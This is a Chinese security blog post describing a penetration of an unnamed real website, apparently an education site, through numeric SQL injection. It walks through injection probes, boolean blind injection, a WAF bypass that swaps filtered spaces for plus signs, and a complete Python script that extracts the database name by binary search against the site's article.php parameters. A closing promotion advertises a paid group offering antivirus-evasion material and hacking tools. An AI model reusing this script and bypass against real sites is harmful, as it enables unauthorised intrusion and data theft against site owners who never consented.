实战 | 某站点的SQL注入漏洞过程

实战 | 某站点的SQL注入漏洞过程

渗透安全团队 2023-11-23 23:22

前言

在页面参数增加 and -1=-1,页面回显正常这里如果 and 1=1 会被拦截

然后尝试-1=-2页面报错,此处存在数字型sql注入漏洞

接下来就是查字段数order by 1页面依旧报错

如果大家在渗透的时候遇到这种情况要考虑是不是某些参数被拦截等

换一种思路,用盲注的思路走走看不要到这里就直接放弃觉得怎么现在还能存在数字型的注入漏洞这样好歹能在edu赚点rank换个证书

and length(database()) > 1,页面正常

`and length(database())>10,页面报错

这里是属于布尔盲注接下来就是用2分法找到长度最后测试结果是6然后测试一下能不能爆库名字符

然后再试试表名如果表名字符也能出这里数据也就能爆出来了因为查表名的时候,表名就是从数据表中查询出来的结果

这里经过多次尝试确认了过滤的内容是from%20 # %20就是空格然后试着用%09,%0a,%0b,%0c等绕过都不可行当我想要放弃的时候一位学长跟我说用加号试试我当时心里其实是非常不相信的,因为+在url编码里面就是空格的意思,那空格被过滤了,+不也就被禁掉了吗然后我出于礼貌的尝试了一下发现成了,,,所以还是谦虚一点好

这里至少没有被waf拦截然后再继续尝试

这里的话把where语句去掉之后就可行了

然后写一个脚本去跑脚本这里的话网址都删掉了,可以看看编写思路这里用正则表达式,去看页面内容中是否存在发布时间这几个字符存在的话就说明页面为True不存在就是False然后用了二分法二分法的话可以参考我的这篇文章https://bbs.zkaq.cn/t/5506.html

# coding=gbk
import requests
import re


def isTrue(url):
    res = requests.get(url)
    if re.search("发布时间", res.text):
        return True


def get_length():
    for i in range(25):
        url = f"http://网址/site/article.php?cate=5&cid=1&aid=972%20and%20length(database())={i}"
        if isTrue(url):
            print(f"length: {i}")
            return i


def to_num1(url, num=1):
    # url >
    if isTrue(url % num):
        return to_num1(url, num * 2)
    return [(num // 2) - 1, num]


def tow_num2(url, num_):

    c = (num_[1] + num_[0]) / 2
    if isTrue(url % c):  # 如果 大于 c成立 把最小值设置为中值
        # print(url % c)
        num_[0] = c
    else:
        num_[1] = c  # 否则设置最大值
    if num_[1] - num_[0] <= 1:
        num_[1] = round(num_[1])
        return num_[1]
    return tow_num2(url, [num_[0], num_[1]])


def get_database():
    database_name = ''
    for i in range(1, get_length() + 1):
        url = f"http://网址/site/article.php?cate=5&cid=1&aid=972 and ascii(substr(database(),{i},1))>%d"
        num1 = to_num1(url)
        num2 = tow_num2(url,num1)
        database_name += chr(num2)
    print("database:" + database_name)


if __name__ == '__main__':
    get_database()



































































.

付费圈子

欢 迎 加 入 星 球 !

代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员

进成员内部群

星球的最近主题和星球内部工具一些展示****


加入安全交流群

                            [                ](http://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247489372&idx=1&sn=5e14ba5fa59059fb1ee405e56ef90d40&chksm=c175eaf3f60263e5ef5415a8a9fc134f0890fdb9c25ab956116d17109baf98b3bd6bed572a2d&scene=21#wechat_redirect)

关 注 有 礼

关注下方公众号回复“
666
”可以领取一套领取黑客成长秘籍


 还在等什么?赶紧点击下方名片关注学习吧!

推荐阅读

干货|史上最全一句话木马

干货 | CS绕过vultr特征检测修改算法

实战 | 用中国人写的红队服务器搞一次内网穿透练习

实战 | 渗透某培训平台经历

实战 | 一次曲折的钓鱼溯源反制

免责声明

由于传播、利用本公众号渗透安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号渗透安全团队及作者不为
承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

好文分享收藏赞一下最美点在看哦